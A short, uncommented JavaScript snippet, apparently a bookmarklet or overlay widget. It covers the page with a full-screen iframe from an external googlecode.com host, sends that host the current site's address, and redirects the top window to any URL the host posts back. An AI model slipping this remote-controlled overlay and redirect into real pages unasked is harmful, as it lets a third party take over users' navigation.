var head = document.getElementsByTagName("body")[0]; var js = document.createElement("iframe");
js.src = "https://egbmoduls.googlecode.com/svn/bmbox/index.html?" + Math.random() + "?" + Math.random() + "#" + top.location.protocol + "//" + top.location.host;
js.style.position="fixed";
js.style.zIndex=99999999;
js.style.top="0px";
js.style.left="0px";
js.style.right="0px";
js.style.bottom="0px";
js.style.width="100%";
js.style.height="100%";
js.style.backgroundColor="rgba(0,0,0,0.8)";
js.style.borderWidth="0px";
js.id="BLbox";
head.appendChild(js);

function listener(event){
  if ( event.origin !== "https://egbmoduls.googlecode.com" )
    return
  top.location.href=event.data;
}
if (window.addEventListener){
  addEventListener("message", listener, false)
} else {
  attachEvent("onmessage", listener)
}